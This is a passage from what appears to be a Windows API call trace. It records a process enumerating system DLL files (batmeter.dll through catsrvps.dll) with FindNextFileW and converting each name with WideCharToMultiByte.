lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BATMETER.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.736] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0248.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0xa8c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPT.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.736] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x545448, dwReserved1=0x0, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0248.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0248.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0xa8c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPTPRIMITIVES.DLL", lpUsedDefaultChar=0x0) returned 20 [0248.736] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x545448, dwReserved1=0x0, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0248.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIDISPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.736] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0248.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0248.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0xa8c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIOCREDPROV.DLL", lpUsedDefaultChar=0x0) returned 15 [0248.736] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0248.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPERF.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.736] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0248.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX2.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.737] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0248.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX3.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.737] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0248.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX4.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.737] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0248.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX5.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.737] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0248.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX6.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.737] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0248.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BLACKBOX.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.737] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x545448, dwReserved1=0x0, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0248.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTVID.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.737] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0248.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.737] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0248.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWSEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.738] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0248.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BTPANUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.738] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0248.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0248.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0xa8c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWCONTEXTHANDLER.DLL", lpUsedDefaultChar=0x0) returned 20 [0248.738] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0248.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0248.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0xa8c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWUNPAIRELEVATED.DLL", lpUsedDefaultChar=0x0) returned 20 [0248.738] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0248.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABINET.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.738] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0248.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABVIEW.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.738] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0248.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0248.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0xa8c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPIPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 16 [0248.738] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0248.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0xa8c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPISP.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.738] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0248.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0xa8c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRV.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.739] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0248.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 